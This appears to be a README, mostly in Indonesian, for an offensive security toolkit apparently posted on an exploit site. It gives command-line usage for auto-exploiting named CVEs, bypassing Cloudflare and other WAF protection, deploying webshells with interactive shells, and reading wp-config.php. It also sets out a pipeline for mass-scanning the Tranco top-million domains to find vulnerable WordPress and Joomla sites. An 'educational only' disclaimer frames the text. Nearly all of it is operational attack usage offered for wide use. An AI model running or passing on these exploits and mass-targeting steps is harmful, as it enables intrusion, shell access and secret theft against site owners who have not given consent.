## https://sploitus.com/exploit?id=721DB469-CEE4-5886-B0CA-2DDC1708D16F
# π‘οΈ Guard Toolkit β Full Tutorial
Security toolkit: **Secret Scanner** + **Web Vulnerability Scanner** + **Auto-Exploit** + **Mass Dorking Scanner**.
> β οΈ **EDUCATIONAL ONLY** β Pakai hanya di target yang kamu punya izin. Tools ini untuk security awareness & testing. Setiap celah yang terdeteksi adalah kesempatan belajar, bukan senjata.
---
## π¦ Isi Zip & Struktur File
```
guard/
βββ requirements.txt # Dependency (pip install -r)
βββ README.md # Tutorial ini
β
βββ π‘οΈ VULN SCANNER
βββ guardv2.py # CLI entry point (secret scan + vuln scan)
βββ guardvuln.py # Vulnerability detection engine (29+ checks)
βββ guardtemplate.py # Nuclei-style YAML template engine
βββ guarddiscover.py # Subdomain discovery
β
βββ π₯ EXPLOIT ENGINE
βββ guardx.py # Auto-exploit (29 exploits, WAF-solving built-in)
βββ guardwaf.py # WAF recon & bypass toolkit
βββ guardchallenger.py # CF/WAF challenge solver (cloudscraper)
βββ guardmcp.py # MCP endpoint exploiter
βββ exploit_mcp.py # MCP exploit helper
βββ guardmitre.py # MITRE ATT&CK TTP mapper
βββ guard-testlab.py # Local vuln lab (LFI/CMD/SSTI/XXE)
β
βββ π MASS DORKING SCANNER (Tranco)
βββ wp-dork.py # Thread-pool dorking (homepage β WP version)
βββ wp-async-scan.py # Async scanner (aiohttp, 15x lebih cepat)
βββ wp-verify.py # Batch verifier (wp2shell check per candidate)
βββ wp-helix3-scan.py # CVE-2026-49049 Helix3 Joomla scanner
β
βββ templates/ # YAML template (guardtemplate.py)
β βββ backup-files.yaml
β βββ cloud-meta.yaml
β βββ cors-wildcard.yaml
β βββ env-exposure.yaml
β βββ git-exposure.yaml
β βββ phpinfo.yaml
β βββ sqli-error.yaml
β βββ ssti-jinja2.yaml
β
βββ third_party/
βββ wp2shell/ # Icex0 WP SQLi PoC (CVE-2026-63030, CVE-2026-60137)
β βββ __main__.py # CLI: python -m wp2shell
β βββ cli.py # Argument parser
β βββ client.py # HTTP client (WAF cookie handoff support)
β βββ sqli.py # SQLi engine
β βββ exploit.py # Exploit logic
β βββ shell.py # Interactive shell
β βββ version.py # Affected version ranges
βββ cve-2026-49049/ # Helix3 Joomla PoC scanner (shinthink)
βββ cve_2026_49049.py # Read-only scanner
βββ README.md
```
---
## π Instalasi
```bash
# 1. Install Python 3.8+ (dianjurkan 3.10+)
# 2. Install dependencies
pip install -r requirements.txt
# 3. Test
python3 guardv2.py --help
python3 guardx.py --list
```
**Dependency per modul:**
| Modul | Perlu |
|-------|-------|
| guardv2 / guardvuln / guardx | requests, cloudscraper |
| wp-async-scan / wp-helix3-scan | aiohttp, aiodns |
| guardtemplate | PyYAML |
---
## π 1. Vulnerability Scan
```bash
# Basic scan (read-only HTTP requests, aman)
python3 guardv2.py target.com --scan-cve
# Paksa https://
python3 guardv2.py https://target.com --scan-cve
# Output JSON (buat parsing/automation)
python3 guardv2.py target.com --scan-cve --json > report.json
# Subdomain discovery dulu
python3 guarddiscover.py target.com
```
**Yang di-detect (29+ checks):**
| Severity | Vuln | Detil |
|----------|------|-------|
| π΄ Critical | PHPInfo | `phpinfo()`, `info.php`, `test.php` |
| π΄ Critical | Django DEBUG | `DEBUG=True` + traceback exposure |
| π΄ Critical | Spring Actuator | `/actuator`, `/actuator/health`, `/actuator/env` |
| π΄ Critical | Spring Heapdump | `/actuator/heapdump` β memory dump |
| π΄ Critical | Git Exposure | `.git/config`, `.git/HEAD` β repo leak |
| π΄ Critical | Environment Files | `.env`, `.env.local` β secrets leak |
| π΄ Critical | WordPress Config Backup | `wp-config.php~`, `.bak`, `.old` |
| π΄ Critical | WordPress Installer | `/wp-admin/install.php` |
| π΄ Critical | WordPress Debug Log | `/wp-content/debug.log` |
| π΄ Critical | Joomla Config Backup | `configuration.php~` / `.bak` |
| π΄ Critical | SQLi | Error-based SQL Injection |
| π΄ Critical | Reflected XSS | `` injection via params |
| π΄ Critical | PHPUnit RCE (CVE-2017-9841) | `eval-stdin.php` β RCE |
| π΄ Critical | Langflow RCE (CVE-2025-3248) | Unauth RCE via `exec()` β CVSS 9.3 |
| π΄ Critical | Wazuh API RCE (CVE-2025-24016) | Path traversal + deserialization β CVSS 9.0 |
| π΄ Critical | Ivanti Connect Secure (CVE-2025-22457) | Stack buffer overflow RCE β CISA KEV |
| π΄ Critical | Database Admin | phpMyAdmin / Adminer exposed |
| π΄ Critical | Database Dump | SQL dump file exposed |
| π΄ Critical | WP SQLi (CVE-2026-63030) | REST batch route confusion β SQLi to RCE β Clone shallow (`--depth 1`) kecuali `--include-history`. Rate limit GitHub API: 60 req/jam tanpa token.
---
## π₯ 3. Auto-Exploit (guardx.py)
```bash
# Exploit semua vuln terdeteksi (auto)
python3 guardx.py target.com
# Exploit spesifik
python3 guardx.py target.com --vuln langflow # CVE-2025-3248
python3 guardx.py target.com --vuln phpunit # CVE-2017-9841
python3 guardx.py target.com --vuln git # .git download
python3 guardx.py target.com --vuln env # .env download
python3 guardx.py target.com --vuln actuator # Spring heapdump
python3 guardx.py target.com --vuln cors # CORS PoC
python3 guardx.py target.com --vuln wazuh # CVE-2025-24016
python3 guardx.py target.com --vuln ivanti # CVE-2025-22457
python3 guardx.py target.com --vuln nextjs # CVE-2025-29927
# WordPress SQLi (wp2shell)
python3 guardx.py target.com --vuln wp2shell # check (read-only)
python3 guardx.py target.com --vuln wp2shell --cmd id # + deploy webshell & run cmd
python3 guardx.py target.com --vuln wp2shell --interactive # interactive shell
# Custom command untuk RCE
python3 guardx.py target.com --vuln langflow --cmd "whoami"
# List semua exploits
python3 guardx.py --list
```
### π‘οΈ WAF-solving built-in
Semua exploit di `guardx.py` otomatis:
1. Pakai **cloudscraper** β tembus Cloudflare challenge ("One moment, please...")
2. Deteksi **Imunify360** block ("Access denied by Imunify360 bot-protection")
3. **Cookie handoff** ke wp2shell β warm-up via cloudscraper, inject cookie via env `WAF_COOKIE_JSON` + `WAF_UA` β check/read/shell nggak kena challenge
---
## π¬ 4. WordPress wp2shell (CVE-2026-63030 + CVE-2026-60137)
### Check (non-destructive)
```bash
cd third_party/wp2shell
python3 -m wp2shell check https://target.com
```
Output:
```
[+] WordPress detected: 7.0.1
[+] Batch probe -> HTTP 207
[!] markers matched: rest_batch_not_allowed
[+] Verdict: patched (nested batch rejected)
```
**Signature penting:**
| Marker | Arti |
|--------|------|
| `parse_path_failed` | β οΈ VULNERABLE β route confusion berhasil |
| `block_cannot_read` | β οΈ VULNERABLE β bisa baca file |
| `rest_batch_not_allowed` | β
PATCHED β nested batch ditolak |
### Confirm SQLi
```bash
python3 -m wp2shell check https://target.com --confirm-sqli
# Timing delta 1.95s β kemungkinan vulnerable (UNION injection)
```
### Read file
```bash
python3 -m wp2shell read https://target.com --preset fingerprint
python3 -m wp2shell read https://target.com --file wp-config.php
```
### Shell (hanya jika kamu punya izin!)
```bash
python3 -m wp2shell shell https://target.com --cmd id
python3 -m wp2shell shell https://target.com --interactive
```
**Affected versions:** WP 6.9.0β6.9.4, 7.0.0β7.0.1. Patched: β€6.8.5, β₯7.0.2.
---
## π 5. CVE-2026-49049 β Helix3 Joomla Scanner
Helix3 template framework (JoomShaper) β unauth AJAX handler via `com_ajax`:
**save** (write JSON + path traversal), **remove** (delete arbitrary files), **import** (overwrite template params). Affected: 1.0β3.1.0 (3.1.1+ patched). CVSS 7.5.
### Scan satu target
```bash
cd third_party/cve-2026-49049
python3 cve_2026_49049.py -t target.com
python3 cve_2026_49049.py -t target.com -v # verbose
```
### Mass scan
```bash
python3 cve_2026_49049.py -f targets.txt -o results.txt
python3 cve_2026_49049.py -f targets.txt --json report.json -v
```
### Scan Tranco otomatis (wp-helix3-scan.py)
```bash
#
python3 wp-helix3-scan.py 100000 0 ./helix3_result.csv 500
```
Output CSV: `domain,helix3_version,affected,ajax_status,flag`
> π‘ **Tips:** Helix3 sangat jarang di Tranco (2/900k). Lebih efisien pakai Zoomeye dork `app="Joomla" && "shaper_helix3"` lalu feed hasilnya ke `cve_2026_49049.py -f targets.txt`.
---
## π‘ 6. Mass Dorking Scanner (Tranco top-1M)
Pipeline: **download Tranco β scan β filter affected β verifikasi β confirm-sqli**
### Step 1: Download Tranco list
```bash
mkdir -p tranco && cd tranco
wget https://tranco-list.eu/top-1m.csv.zip
unzip top-1m.csv.zip
# Format: rank,domain
```
### Step 2: Scan cepat (thread-pool, 40-120 threads)
```bash
#
python3 wp-dork.py 20000 ./dork_result.csv 120
```
### Step 3: Scan super cepat (async, 15x lebih cepat)
```bash
#
python3 wp-async-scan.py 100000 0 ./async_result.csv 500
# ~5000 domain / 20 detik
```
### Step 4: Verifikasi kandidat affected
```bash
# Baca CSV β jalankan wp2shell check per domain
python3 wp-verify.py ./affected.csv
```
> π‘ **Pelajaran dari lapangan:**
> - Version meta (`content="WordPress X.Y.Z"`) **tidak sinkron** dengan patch β banyak false positive
> - Signature `rest_batch_not_allowed` = patched; `parse_path_failed`/`block_cannot_read` = vulnerable
> - CVE umur 2 minggu biasanya sudah ditutup luas (WP auto-update jalan)
> - Search engine dorking (Google/DDG/Bing) sering kena block dari server β Tranco scan lebih reliable
---
## π§ͺ 7. Local Test Lab (guard-testlab.py)
```bash
python3 guard-testlab.py
# Local vuln lab: LFI / CMD / SSTI / XXE β buat belajar & test exploit aman
```
---
## π§ Options Lengkap (guardv2.py)
```
positional arguments:
target Local path, GitHub repo URL, GitHub username URL, atau website
options:
-h, --help Show help
--json Emit JSON output
--include-git Run git-aware secret checks
--include-history Scan commit history too
--exclude EXCLUDE Extra folder names to exclude
--max-repos MAX_REPOS Max public repos in username mode (default: 20)
--scan-cve Run vulnerability scan mode
```
---
## β οΈ Ethical Notes
- **--scan-cve** hanya ngirim HTTP request β aman, read-only
- **guardx.py** bisa nge-eksekusi payload β **pakai hanya di target yang kamu punya izin**
- **wp2shell shell/read** = destructive β jangan di target pihak ketiga tanpa otorisasi tertulis
- Tools ini untuk **security awareness & testing**. Jangan dipakai untuk hacking tanpa izin.